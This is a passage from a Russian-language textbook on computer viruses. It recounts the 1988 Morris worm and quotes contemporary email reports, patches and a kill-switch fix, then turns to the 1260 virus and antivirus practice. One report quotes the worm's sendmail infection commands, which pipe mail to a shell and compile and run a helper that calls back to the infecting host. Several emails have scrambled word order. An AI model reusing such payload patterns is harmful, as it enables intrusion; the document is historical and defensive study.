телекоммуникационной разведке. Моррис-старший, длительное время проработавший в Bell Laboraries, является одним из разрабочиков игры Darvin є одному из первых экспериментов в области саморазмножающихся программ. В дальнейшем, он участвовал в разработке UNIX, в частности, системы парольной защиты. Вирус был запущен в сеть приблизительно между 12 и 13 часами 2.10.88. Из-за ошибки, вызвавшей превышение скорости размножения и распространения по сравнению с задуманной, в течение нескольких часов (к концу дня) вирус заразил порядка 6000 компьютеров (данная оценка основана на экстраполяции и не претендует на особенную точность). Всего к сети Internet подключены более 60 000 компьютеров. Пораженные компьютеры были расположены на значительной территории (Массачусетский технологический институт, Калифорнийский университет в Беркли, университет в Пэдью, Стенфордский университет и др.). Наиболее заметным эффектом при распространении вируса, помимо некоторых необычных сообщений операционной системы, была все же непрерывно возраставшая загрузка пораженных вирусом машин. По истечении некоторого времени отдельные компьютеры оказались настолько загруженными распространением копий вируса, что не были способны выполнять никакой полезной работы; некоторые компьютеры исчерпали память для своппинга или таблицу текущих процессов и их приходилось перегружать. Это существенно затруднило обмен сообщениями и координацию работы по уничтожению вируса, поскольку, судя по репортажам, большинство американских программистов привыкло пользоваться электронной почтой. Задержки привели к потере очень ценных сообщений, посланных пользователем, который, по-видимому, знал детали работы вируса или они были сообщены ему Моррисом, испугавшимся последствий своего "эксперимента". Тем не менее, сеть оставалась работоспособной и между программистами шел интенсивный обмен сообщениями. Утром 3 ноября персонал Калифорнийского университета в Беркли и Массачусетского технологического института (МТИ) получили копии вируса и начали его анализ. Общим опасением было, что к моменту, когда будет изготовлено противоядие, системные файлы будут изменены или разрушена некоторая информация. К пяти часам вечера 3 ноября группа исследователей в Университете в Беркли разработала серию мер для прекращения его дальнейшего распространения. Соответствующее сообщение было передано по сети, однако его распространение было задержано нагрузкой, созданной распространением вируса и отключением некоторых частей сети "на карантин". К 9 часам вечера другой простой и эффективный метод борьбы с распространением вируса был найден в Университете Пэдью и быстро распространен всем заинтересованным пользователям. К концу суток с вирусом было покончено. Дизассемблирование и реконструкция текста вируса представляла собой достаточно сложную задачу, поскольку Моррисом были предприняты специальные по ее затруднению, в частности, шифровка текстовых строк. Основная часть работы была выполнена Марком Эйчиным (Маrk Eichin), специалистом по дизассемблированию ROM, который одновременно являлся и координатором работы других программистов. Основная работа по реконструкции вируса была завершена в субботу. Тогда же исследователями, после жарких дискуссий, было принято решение не распространять восстановленный исходный текст вируса и, в то же время, свободно распространять информацию об алгоритмах, используемых данным вирусом. Это, конечно, несет опасность, что они могут быть использованы для написания новых вирусов, однако уровень знаний, требуемых для этой цели, неизмеримо выше, чем умение перекомпилировать программу с двумя или тремя измененными строчками. На следующее утро, в пятницу 4 ноября в МТИ состоялась прессконференция, на которой выступили ведущие участики "охоты на вирус". Во вторник, 8 ноября, в Балтиморе состоялась конференция по вирусу Морриса, на которой подробно обсуждалась хронология событий, предпринятые действия и детальный анализ функционирования вируса. Кроме того, были обсуждены вопросы, касающиеся уроков инцидента и подготовки к отражению новых атак. Ниже приводятся представляющие исторический интерес сообщения, которыми обменивались исследователи в ходе борьбы с вирусом. Эти сообщения наглядно демонстрируют огромную ценность национальной сети как инструмента оперативного обмена информацией между исследователями. From: Subject: Virus on Date: Thu, 3 Nov 88 06:46 EST the Stoll@DOCKMASTER.ARPA Arpanet Milnet Re Arpanet "Sendmail" Virus attack November 3, 1988 Hi Gang! It's now 3:45 AM on Wednesday 3 November don't believe everything that follows... Apparently, there right now. is a massive attack 1988. on Unix I'm tired, so systems going on I have spoken to systems managers at several computers, on both the east & west coast, and I suspect this may be a system wide problem. Symptom: hundreds or thousands of jobs system bringing response to zero. start running on a Unix Systems attacked: Unix systems, 4.3BSD unix & variants (eg: SUNs) any sendmail compiled with debug has this problem. See below. This virus is spreading very quickly over the Milnet. Within the past 4 hours, I have evidence that it has hit >10 sites across the country, both Arpanet and Milnet sites. I suspect that well over 50 sites have been hit. Most of these are "major" sites and gateways. Method: Apparently, someone has written a program that uses a hole in SMTP Sendmail utility. program. This utility can send a message into another Step 1: from a distant Milnet host, a message is sent to Sendmail to fire up SED, (SED is an editor). This is possible in certain versions of sendmail (see below). 2: A 99 line C program is sent to SED through Sendmail. 3: The distant program. computer sends a command to compile this C 4: Several object files are copied into the Unix computer. There are 3 files: one targeted to Sun one targeted to SUN-3 one targeted to vax (ultrix probably, not vms) 5: The C program accepts as address other Milnet sites 6: and Apparently, program scans for other Milnet/arpanet addresses repeats this process. The bug in Sendmail: When the Unix 4.3 BSD version of Sendmail Debug option, there's a hole in it. is compiled with the Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug. It exists only where the system manager recompiled Sendmail and enabled debugging. This is bad news. Cliff Stoll dockmaster.arpa -----------------------------------------------------------------------From: Gene Spafford <spaf@purdue.edu> Subject: More on the virus Date: Thu, 03 Nov 88 09:52:18 EST All of our Vaxen and some of our Suns here were infected virus. The virus forks repeated copies of itself as it spread itself, and the load averages on the infected skyrocketed. In fact, it got to the point that some machines ran out of swap space and kernel table preventing login to even see what was going on! with the tries to machines of the entries, The virus seems to consist of two parts. I managed to grab the source code for one part, but not the main component (the virus cleans up after itself so as not to leave evidence). The way that it works is as follows: 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and gets a shell. 2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets replaced by the current process id) and copies code for a "listener" or "helper" program. This is just a few dozen lines long and fairly generic code. The shell compiles this helper using the "cc" command local to the system. 3) The helper is invoked with arguments pointing back at the infecting virus (giving hostid/socket/passwords as arguments). 4) The helper then connects to the "server" and copies a number of files (presumably to /tmp). After the files are copied, it exec's a shell with standard input coming from the infecting virus program on the other end of the socket. From here, I speculate on what happens since I can't source to this part lying around on our machines: find the 5) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. I'm not sure what else the virus does, if anything -- it may also be attempting to add a bogus passwd file entry or do something to the file system. The helper program has an array of 20 filenames for the "helper" to copy over, so there is room to spare. There are two versions copied -- a version for Vax BSD and a version for SunOS; the appropriate one is compiled. 6) The new virus is dispatched. This virus opens all the virus source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the virus steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 7) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). The heavy load we see is the result of multiple viruses coming in from multiple sites. Since local hosts files tend to have entries for other local hosts, the virus tends to infect local machines multiple times -- in some senses this is lucky since it helps prevent the spread of the virus as the local machines slow down. The virus also "cleans" up after itself. If you reboot an infected machine (or it crashes), the /tmp directory is normally cleaned up on reboot. The other incriminating files were already deleted by the virus itself. Clever, nasty, and definitely anti-social. --spaf -----------------------------------------------------------------------From: bishop@bear.Dartmouth.EDU (Matt Bishop) Subject: More on the virus Date: Thu, 3 Nov 88 16:32:25 EST ... This program introduced itself through a bug in sendmail. At these sites, sendmail was compiled and installed with a debugging option turned on. As near as I can figure (I don't have access to the sendmail sources), by giving a specific option to the "debug" command in sendmail (there are lots of those, controlling what exactly you get information about) you can cause it to execute a command. As sendmail runs setuid to root, guess what privileges the command is executed with. Right. Apparently what the attacker did was this: he or she connected to sendmail (ie, telnet victim.machine 25), issued the appropriate debug command, and had a small C program compiled. (We have it. Big deal.) This program took as an argument a host number, and copied two programs -- one ending in q.vax.o and the other ending in .sun.o -- and tried to load and execute them. In those cases where the load and execution succeeded, the worm did two things (at least): spawn a lot of shells that did nothing but clog the process table and burn CPU cycles; look in two places -- the password file and the internet services file -- for other sites it could connect to (this is hearsay, but I don't doubt it for a minute.) It used both individual .rhost files (which it found using the password file), and any other remote hosts it could locate which it had a chance of connecting to. It may have done more; one of our machines had a changed superuser password, but because of other factors we're not sure this worm did it. This last part is still sketchy; I have the relevant sun.o file and will take it apart to see just what it was supposed to do. As of now, it appears there was no serious damage (just wasted CPU cycles and system administrator time). Two obvious points: 1. Whoever did this picked only on suns and vaxen. One site with a lot of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen, but the attempt to get the other machines didn't work. 2. This shows the sorry state of software and security in the UNIX world. People should NEVER put a program with debugging hooks in it, especially when the hook is (or can be made) to execute an arbitrary command. But that is how the sendmail which was used was distributed! One more interesting point: initially, I thought an application of the "principle of least privilege" would have prevented this penetration. But the attacker used a world-writeable directory to squirrel the relevant programs in, so -- in effect -- everything could have been done by any user on the system! (Except the superuser password change, of course -- if this worm did in fact do it.) I think the only way to prevent such an attack would have been to turn off the debug option on sendmail; then the penetration would fail. It goes to show that if the computer is not secure (and like you, I don't believe there ever will be such a beastie), there is simply no way to prevent a virus (or, in this case, a worm) from getting into that system. I know this is somewhat sketchy, flabby, and fuzzy, but it's all I know so far. I'll keep you posted on developments ... Matt -----------------------------------------------------------------------From: bostic@okeeffe.Berkeley.EDU (Keith Bostic) Subject: Virus (READ THIS IMMEDIATELY) Date: 3 Nov 88 10:58:55 GMT Subject: Fixes for the virus Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD Description: There's a virus running around; the salient facts. A bug in sendmail has been used to introduce a virus into a lot of Internet UNIX systems. It has not been observed to damage the host system, however, it's incredibly virulent, attempting to introduce itself to every system it can find. It appears to use rsh, broken passwords, and sendmail to introduce itself into the target systems. It affects only VAXen and Suns, as far as we know. There are three changes that we believe will immunize your system. They are attached. Thanks to the Experimental Computing Facility, Center for Disease Control for their assistance. (It's pretty late, and they certainly deserved some thanks, somewhere!) Fix: First, either recompile or patch sendmail to disallow the `debug' option. If you have source, recompile sendmail after first applying the following patch to the module svrsmtp.c: *** /tmp/d22039 Thu Nov 3 02:26:20 1988 --- srvrsmtp.c Thu Nov 3 01:21:04 1988 *************** *** 85,92 **** "onex",CMDONEX, # ifdef DEBUG "showq",CMDDBGQSHOW, - "debug",CMDDBGDEBUG, # endif DEBUG # ifdef WIZ "kill",CMDDBGKILL, # endif WIZ --- 85,94 ---"onex",CMDONEX, # ifdef DEBUG "showq",CMDDBGQSHOW, # endif DEBUG + # ifdef notdef + "debug",CMDDBGDEBUG, + # endif notdef # ifdef WIZ "kill",CMDDBGKILL, # endif WIZ Then, reinstall sendmail, refreeze the configuration file, using the command "/usr/lib/sendmail -bz", kill any running sendmail's, using the ps(1) command and the kill(1) command, and restart your sendmail. To find out how sendmail is execed on your system, use grep(1) to find the sendmail start line in either the files /etc/rc or /etc/rc.local If you don't have source, apply the following patch to your sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS UP! This is mildly tricky -- note, some versions of strings(1), which we're going to use to find the offset of the string "debug" in the binary print out the offsets in octal, not decimal. Run the following shell line to decide how your version of strings(1) works: /bin/echo 'abcd' | /usr/ucb/strings -o Note, make sure the eight control 'G's are preserved in this line. If this command results in something like: 0000008 abcd your strings(1) command prints out locations in decimal, else it's octal. The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!! This script assumes that your strings(1) command prints out the offsets in decimal. Script started on Thu Nov 3 02:08:14 1988 okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug 0096972 debug okeeffe:tmp {3} adb -w /usr/lib/sendmail ?m 0 0xffffffff 0 0t10$d radix=10 base ten 96972?s 96972:debug 96972?w 0 96972:25701 = 0 okeeffe:tmp {4} ^D script done on Thu Nov 3 02:09:31 1988 If your strings(1) command prints out the offsets in octal, change the line "0t10$d" to "0t8$d". After you've fixed sendmail, move both /bin/cc and /bin/ld to something else. (The virus uses the cc and the ld commands to rebuild itself to run on your system.) Finally, kill any processes on your system that don't belong there. Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random digits, as the command name on the ps(1) output line. One more thing, if you find files in /tmp or /usr/tmp that have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or "xNNNNNNN,vax.o" where the N's are random digits, you've been infected. -----------------------------------------------------------------------From: news@cs.purdue.EDU (News Knower) Subject: Re: The virus Date: 3 Nov 88 19:58:27 GMT The patch from Keith Bostic in the last message is *not* sufficient to halt the spread of the virus. We have discovered from looking at the binaries that the virus also attempts to spread itself via "rsh" commands to other machines. It looks through a *lot* of files to find possible vectors to spread. If you have a bunch of machines with hosts.equiv set or .rhosts files, you should shut them *all* down at the same time after you have fixed sendmail to prevent a further infestation. If you don't clear out the versions in memory, you won't protect your other machines. The virus runs itself with the name "sh" and then overwrites argv, so if a "ps ax" shows any processes named "(sh)" without a controlling tty, you have a problem. Due to the use of other uids from rsh, don't make any conclusions if the uid is one of your normal users. Also, check your mailq (do a mailq command). If you see any entries that pipe themselves through sed and sh, delete them from the queue before you restart your machines. Non-internet sites do not need to worry about this virus (for now!), but be aware that mail and news may not be flowing everywhere for some time -- many sites are disconnecting from the Internet completely until the virus is contained. -----------------------------------------------------------------------From: Gene Spafford <spaf@purdue.edu> Subject: Updated worm report Date: Fri, 04 Nov 88 00:27:54 EST This is an updated description of how the worm works (note: it is technically a worm, not a virus, since it does not attach itself to other code {that we know about}): All of our Vaxen and some of our Suns here were infected worm. The worm forks repeated copies of itself as it spread itself, and the load averages on the infected skyrocketed. In fact, it got to the point that some machines ran out of swap space and kernel table preventing login to even see what was going on! The worm seems to as follows: with the tries to machines of the entries, consist of two parts. The way that it works is 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and submits a version of itself as a mail message. *OR* it uses rsh to create itself on the remote machine through an account requiring no password (due to hosts.equiv or .rhosts entries). *OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this later). Using the sendmail route, it does something like: From: /dev/null To: "|sed -e 1,/^$/d | sh; exit 0" cd /usr/tmp cat > x14481910.c <<'EOF' <text of program deleted? EOF cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440; rm -f x14481910 x14481910.c 2) This program is a simple "listener" or "helper" program of about a hundred lines of fairly simple code. As you can see, the helper is invoked with arguments pointing back at the infecting worm (givinghostid/socket /checksum(?) as arguments). 3) The helper then connects to the "server" and copies a number of files (presumably to /tmp). After the files are copied, it exec's a shell with standard input coming from the infecting worm program on the other end of the socket. From here, I speculate on what happens since I can't source to this part lying around on our machines: find the 4) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. The command file it uses is as follows: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s /bin/echo %s ./$P -p $$ 5) This creates and dispatches the new worm. This worm opens all the worm source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the worm steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 6) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). Other notes: The worm runs in stages. It first collects info from the /etc/hosts files, the hosts.equiv file, and other files containing host names and host IP addresses. It even runs netstat to find out what networks the machine is attached to! It uses this information to attempt to penetrate sendmail on those machines. It also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in a core dump). I will privately tell individuals how to fix the bug in fingerd, but for now change it so it does not run as "root". After this first stage, it appears to sleep for a while. Then it starts collecting user names and it begins probing with "rsh". It also tries to attack the passwords by trying a set of built-in words, the contents of /usr/dict, and words snarfed from system files. If it succeeds in breaking a local password, it forks a child to use telnet to break into that account and copy itself. As I write this, no one seems to know what it is supposed to eventually do. Perhaps it just breaks in everywhere it can. We do know that if it doesn't break into any accounts or systems for a while, it enters a mode where it tries to break the root password via brute force searching. We suspect that if it succeeds it then does very nasty things. Other notes: The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)" (a login shell). Don't trust any of these if you have them running. The program doesn't copy around source files (except the helper) - it copies around pre-compiled binaries that are linked on the local machine and then run. The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx and 8800 machines. Pyramids, Sun 2's and Sequents are all definitely immune. (Note: an infected 8800 is an awesome engine of contagion.) The strings in the binaries are encrypted against a random "strings" invocation. If you have a binary, Keith Bostic informs me that Xor with 0x81 will reveal interesting things, although that is not the only mask used. The first observation of the virus I have heard about was 6pm Wednesday night in Pittsburgh. It didn't hit Purdue until about 4 this morning. We were lucky in that other sites, like CMU and Princeton, were hit around 11 last night. Acknowledgements: Some of the above information was obtained from Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle (Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue). Thanks, guys. -----------------------------------------------------------------------From: Gene Spafford <spaf@purdue.edu> Subject: A worm "condom" Date: Thu, 03 Nov 88 21:20:10 EST ... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a "condom" to protect your machine against the CURRENT worm. They are not 100% sure it works, but it seems to be completely effective and it can't do any harm. As ROOT, do: mkdir /usr/tmp/sh chmod 111 /usr/tmp/sh Then edit your rc.local file to recreate the directory in case of a reboot. This will not stop a current infection, but it will prevent any new ones from taking hold -- it prevents the worm from creating replicas. ... --spaf -----------------------------------------------------------------------From: Gene Spafford <spaf@purdue.edu> Subject: A cure!!!!! Date: Thu, 03 Nov 88 22:04:15 EST FLASH!! Kevin ("Adb's your friend.") Braunsdorf just burst into my office with a cure discovered in the disassembled worm binary. If there is an external variable in the library named "pleasequit" that is non-zero, the worm will die immediately after exiting. Thus, to kill any new worms, include a patch in your library that defines the symbol. The following shell file and source code will modify your C library to define this symbol. It WON'T kill any currently linked will prevent reinfection. and running versions, but it # Shar archive. Give the following as # input to /bin/sh # Packed Thu Nov 3 21:56:35 EST 1988 # by spaf@uther.cs.purdue.edu # # This archive contains: # foo.sh # foo.c # # echo x - foo.sh sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*' Xcc -c foo.c -o foo.o Xcp /lib/libc.a /lib/libc.a.old Xar q /lib/libc.a foo.o Xranlib /lib/libc.a *-*-END-of-foo.sh-*-* echo x - foo.c sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*' Xextern int pleasequit = -1; *-*-END-of-foo.c-*-* exit 9.3. Вирусы в локальных сетях Проблемы, связанные с локальными сетями, во многом зависят от типа используемой сети. Так, например, в некоторых дешевых локальных сетях дисковод сетевого сервера доступен как обычный диск. Это означает, что обычный файловый вирус, попав на диск центрального сервера будет распространяться по всей сети как будто по обычной файловой системе отдельного персонального компьютера. В более дорогих системах имеется некоторая степень регламентирования доступа, обычно аналогичная той, которая используется в многозадачных системах на больших ЭВМ. В этих системах особую опасность представляет так называемый "суперпользователь", т.е. пользователь имеющий наивыший уровень доступа ко всем системным ресурсам. Небрежное отношение к паролям таких пользователей или злоупотребление работой с самым высоким статусом доступа существенно облегчает попадание и быстрое распространение по сети файловых вирусов, поскольку фактически отключает имеющиес защитные механизмы. 9.3.1. Вирус 1260 Данный вирус является сильно модифицированным вариантом вируса С-648 и способен распространяться по сети Novell. Хотя вирус не является резидентным, он распространяется достаточно быстро Длина зараженные файлов увеличиваются на 1260, причем при заражении они шифруются ключем, меняющимся от файла к файлу. Отличительной особенностью вируса является его способность заражать локальные сети. Исторические замечания. Вирус был обнаружен в Миннесоте(США) в январе 1990 г. Методы и средства защиты. Детектируется полидетектором SCAN. 10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ "Предусмотрительность и осторожность одинаково важны: предусмотрительность - чтобы вовремя заметить трудности, а осторожность - чтобы самым тщательным образом подготовиться к их встрече" Р.Амунденсен Проблема "вирус - средства защиты" аналогична проблеме "оружие нападения - оружие защиты": появление средств защиты стимулирует разработку более совершенных средств нападения. Поэтому следует ожидать, что и компьютерные вирусы надолго останутся актуальной проблемой, причем совершенствование средств защиты будет сопровождаться и совершенствованием самих вирусов. Эта ситуация в какой-то мере напоминает естественный отбор, в ходе которого, как известно, выживают наиболее приспособленные. 10.1. Классификация cредств защиты от вирусов Время, когда можно было работать на машине и не задумываться над тем, что завтра ваших программ и файлов на диске не окажется, прошло навсегда. Впрочем, для отечественных программистов оно никогда и не наступало, поскольку надежность магнитных носителей и устройств, использовавшихся в нашей стране, всегда оставляла желать лучшего. Поэтому сейчас в арсенал каждого пользователя должен войти необходимый минимум средств защиты. Методика их применения будет рассмотрена несколько позднее. Введем необходимые термины и приведем их краткую классификацию: архивирование: копирование таблицы FAT, ежедневное ведение архивов измененных файлов. Это самый важный, основной метод защиты от вирусов. Остальные методы не могут заменить ежедневное архивирование, хотя и повышают общий уровень защиты; входной контроль: проверка поступающих программ детекторами, проверка соответствия длины и контрольных сумм в сертификате длинам и контрольным суммам полученных программ; систематическое обнуление первых трех байтов сектора начальной загрузки на полученных незагружаемых дискетах (для уничтожения бутовых вирусов); профилактика: работа с дискетами, защищенными от записи, минимизация периодов доступности дискеты для записи, разделение "общих" дискет между конкретными пользователями и разделение передаваемых и поступающих дискет, раздельное хранение вновь полученных программ и эксплуатировавшихся ранее, хранение программ на "винчестере" в архивированном виде; ревизия: анализ вновь полученных программ специальными средства- ми, контроль целостности с помощью регулярного подсчета контрольных сумм и проверки сектора начальной загрузки перед считыванием информации или загрузкой с дискеты, контроль содержимого системных файлов (прежде всего, СOMMAND.COM) и др. Имеется целый ряд программ-ревизоров, обеспечивающих подсчет контрольных сумм (см. прил.5); карантин: каждая новая программа, полученная без контрольных сумм, должна проходить карантин, т.е. тщательно проверяться компетентными специалистами на известные виды компьютерных вирусов, и в течение определенного времени за ней должно быть организовано наблюдение. Использование специального имени пользователя в ADM (Advanced Disk Manager) при работе со вновь поступившими программами, причем для этого пользователя все остальные разделы должны быть либо невидимы, либо иметь статус READ_ONLY; сегментация: использование ADM для разбиения диска на "непотопляемые отсеки" -- зоны с установленным атрибутом READ ONLY. Использование для хранения ценной информации разделов, отличных от C или D, и не указываемых в PATH. Раздельное хранение исполняемых программ и баз данных; фильтрация: применение программ-сторожей для обнаружения попыток выполнить несанкционированные действия; вакцинирование: специальная обработка файлов, дисков, каталогов, запуск резидентных программ-вакцин, имитирующих сочетание условий, которые используются данным типом вируса для определения, заражена уже программа, диск, компьютер или нет, т.е. обманывающих вирус; автоконтроль целостности: применение резидентных программ подсчета контрольных сумм перед запуском программ, использование в программе специальных алгоритмов, позволяющих после запуска программы определить, были внесены изменения в файл, из которого загружена программа, или нет; терапия: дезактивация конкретного вируса в зараженных программах специальной программой-антибиотиком или восстановление первоначального состояния программ путем "выкусывания" всех экземпляров вируса из каждого зараженного файла или диска с помощью программыфага. Как видно из приведенного выше материала, имеется несколько типов программных средств защиты от вирусов. Если попытаться наметить иерархию этих средств по их вкладу в безопасность, то представляется, что на первом месте идут программы-архиваторы. 10.2. Основная технологическая схема защиты "Volenum ducunt fata, nolenum trahunt" (Желающего судьба ведет, не желающего тащит) Латинская пословица Проблему защиты от вирусов целесообразно рассматривать в общем контексте проблемы защиты информации от несанкционированного доступа. По данной проблеме опубликован ряд монографий, среди которых следует рекомендовать учебник Л.Д.Хофмана [ ] и монографию Сяо, Керр и Медника [ ]. Основной принцип, который должен быть положен в основу разработки технологии защиты от вирусов, состоит в создании многоуровневой распределенной системы защиты, включающей как регламентацию операций на ЭВМ, так и специальные программные и аппаратные средства. При этом обязательно должно существовать несколько уровней защиты, причем их количество может варьироваться в зависимости от ценности информации, которая обрабатывается на конкретной ЭВM. Как и в большинстве других случаев организации защиты, важным преимуществом многоуровневой защиты является то, что наличие не- скольких уровней позволяет компенсировать недостатки, присущие тому или иному отдельному средству защиты. Если вирус обойдет один вид защиты, то он может "споткнуться" на другом. Автор рекомендует схему, включающую следующие этапы: входной контроль новых программных средств; сегментацию информации на винчестере; защиту MS DOS и системных программ от заражения; систематическое использование резидентных программ и ревизоров для контроля целостности информации; архивирование. 10.2.1. Организация входного контроля нового программного обеспечения Первым и весьма важным уровнем защиты является входной контроль поступающих программ и дискет. Подобно тому, как первые захваты авиалайнеров изменили отношение к проблемам досмотра пассажиров, случаи заражения вирусами должны изменить отношение к входному контролю программ и дискет, который, к сожалению, часто еще рассматривается как необязательный. Следует отдавать себе отчет, что фактически мы столкнулись с еще одной разновидностью терроризма, и борьба с ним требует перехода к сплошному входному контролю поступающих программ и дискет. При этом "фирменные" дискеты не должны составлять исключение, так как имелись случаи поставки зараженных программ на дистрибутивных дискетах. Конечно, вероятность последнего случая существенно меньше, чем при обычном переписывании. Большинство известных файловых и бутовых вирусов можно выявить уже на этапе входного контроля. Эта процедура отнимает всего лишь несколько минут, сохраняя десятки часов, потраченных затем на дезинфекцию или восстановление уничтоженной информации. Для этой цели целесообразно использовать специально подобранную батарею детекторов и фагов. Можно рекомендовать следующий состав такой батареи (приведенные ниже фаги следует использовать в режиме детектирования): SCAN, TNTVIRUS, Kxx, -V, AIDSTEST, AV, Doctor. Указанную батарею можно запускать как с помощью обычного BATфайла, так и с помощью оболочки типа антивирус-интегратора (например, AVTP). В случае обнаружения вирусов полезно отпечатать и сохранить протокол проведенного контроля. При интерпретации результатов следует учитывать возможность ложного срабатывания одного из детекторов. 10.2.1.1. Понятия достоверной дистрибутивной копии и сертификата Развитие методов маскировки вирусов делает необходимым понятие достоверной дистрибутивной копии. Здесь возникает определенная проблема, в случае если распространяемое программное обеспечение относится к классу FREEWARE. Главным критерием достоверности дистрибутивной копии является соответствие длины, даты и контрольной суммы файла значениям, приведенным в протоколе архивирования разработчика, если конечно, таковой имеется, или в протоколе, полученном с "только-что распечатанной" дистрибутивной версии. Следует подчеркнуть важность эталонного протокола, как своего рода сертификата подлинности передаваемого программного обеспечения. Если программное обеспечение получено с сертификатом, то сразу после его получения рекомендуется снять справку с архива и сравнить с сертификатом. 10.2.1.2. Контроль текстовых строк, содержащихся в файле Полезно просмотреть ASCII-строки, имеющиеся в полученных граммах, используя LABTEST, RED, EDMSG или другую подходящую литу. Очень важно убедиться, что полученное Вами программное спечение не содержит "подозрительных" текстовых строк проутиобетипа "COMMAND.COM", "PATH=", "*.COM", "????????COM", "Kill", "Stoned", "Virus", "Stupid", и т.д. (см. прил.1-4). Поскольку большинство разработчиков вирусов, по-видимому, страдают "комплексом неполноценности", разработка вируса для них является патологическим способом самоутверждения. Поэтому им трудно удержаться от включения в текст сообщений подобного рода. В то же время многие вирусы шифруют содержащиеся в них строки и они становятся видны только при трассировке программы. Однако отрицательный результат - тоже результат и, если при визуальном просмотре в последних 2-3К дампа нет ни одной текстовой строки, то это тоже должно настораживать. Если это является результатом упаковки EXE-файлов специальным упаковщиком, распаковывающим файл в оперативной памяти перед выполнением (LZEXE, EXEPACK и др.), то необходимо предварительно распаковать файл для анализа. 10.2.1.3. Использование отладчиков и дизассемблеров Подозрительные файлы целесообразно просмотреть с помощью отладчика, позволяющего отслеживать выдаваемые программой прерывания (Periscope, Quard Analizer). Методика их использования будет рассмотрена во второй части данной работы. В cлучае выявления "подозрительных" последовательностей прерываний соответствующие участки программы следует дизассемблировать и пройти в пошаговом режиме. 10.2.2. Карантинный режим "Все, что хорошо начинается, кончается плохо, Все что начинается плохо, кончается еще хуже" Из законов Мерфи В случае, когда программное обеспечение получено без сертификата, из сомнительного источника или не эксплуатировалось в том месте, откуда оно было передано, первые несколько дней эксплуатацию полученного программного обеспечения полезно выполнять в карантинном режиме. В этом режиме целесообразно использовать искусственно ускоренный календарь, т.е. задавать при каждом следующем эксперименте новый месяц и день недели. Это повышает вероятность обнаружения троянской компоненты, срабатывающей в определенный месяц или после истечения определенного календарного отрезка времени. Вообще говоря, лучше всего иметь специально выделенный "карантинный" компьютер для подобного рода экспериментов. В этом компьютере все программное обеспечение полезно обработать, дописав в конец каждого файла специальную строку, например вида "***OK***". Дописывание таких концевых маркеров можно выполнить автоматически, составив пакетный файл. Их наличие облегчает последующий анализ программ, поскольку граница между вирусом, "севшим" в конец программы, и файлом становится четко определенной. Конечно, это не исключает необходимости использования "джентльменского" набора антивирусных средств, включающего подходящий ревизор, сторож и самоконтролирующиеся программы-приманки. Резидентные сторожа следует использовать лишь периодически, поскольку вирус может распознавать присутствие таких средств и соответствующим образом менять свое поведение (на "карантинном" компьютере стоит задача обнаружить момент заражения, а не препятствовать размножению вируса). Если выделить карантинный компьютер не представляется возможным, то целесообразно создать "карантинный режим" на одном из компьютеров, не содержащем особо ценных файлов или баз данных. Вход в карантинный режим должен выполняться с помощью специального имени пользователя, которому для записи доступен лишь логический диск, и специальный "карантинный" раздел винчестера, а большинство остальных скрыто, либо имеют статус READ_ONLY. При этом для всех компонент операционной системы и некоторых утилит, используемых как "приманка" для вируса, следует записать в соответствующий файл контрольные суммы, вычисленные подходящим ревизором (при его отсутствии для этой цели можно использовать любой архиватор, например, PKZIP). Для компьютеров типа PC XT, имеющих меньше 1M оперативной памяти, рекомендуется организовать из части памяти достаточно большой электронный диск (скажем 250К), записать на него несколько часто используемых системных утилит и "погонять" эти утилиты. Возможно вирус "клюнет" и заразит одну из этих программ - в этом случае ревизор обнаружит несовпадение контрольных сумм и сообщит о факте заражения. Преимущество использования электронного диска для таких экспериментов связано с тем, что его содержимое автоматически уничтожается при перезагрузке или выключении питания. Это обеспечивает дополнительную гарантию, что из-за невнимательности или случайного стечения обстоятельств какая-нибудь зараженная в процессе экспериментов программа не останется на диске и затем не станет использоваться кем-нибудь другим. 10.2.2.1. Троянские компоненты в незаконно распространяемых копиях программ и программах со "сломанной" защитой "Ах бедность, бедность, как унижает она сердце нам" А.С.Пушкин Известны случаи, когда в состав незаконной копии включались троянские программы. Например, одна из программ на распространявшейся в Донецке дискете с незаконной копией игры FORMULA, выполняла периодическое стирание CMOS-памяти. Следует отметить, что наряду с незаконно распространяемыми игровыми программами, которые часто бывают заражены вирусами, определенную опасность представляют программы со "сломанной" защитой, поскольку возможны случаи, когда снятие защиты ведет к активации троянской компоненты, заложенной в программе. При этом Вы можете не подозревать, что эксплуатируемая программа является коммерческой, поскольку соответствующие сообщения при снятии защиты часто меняются или 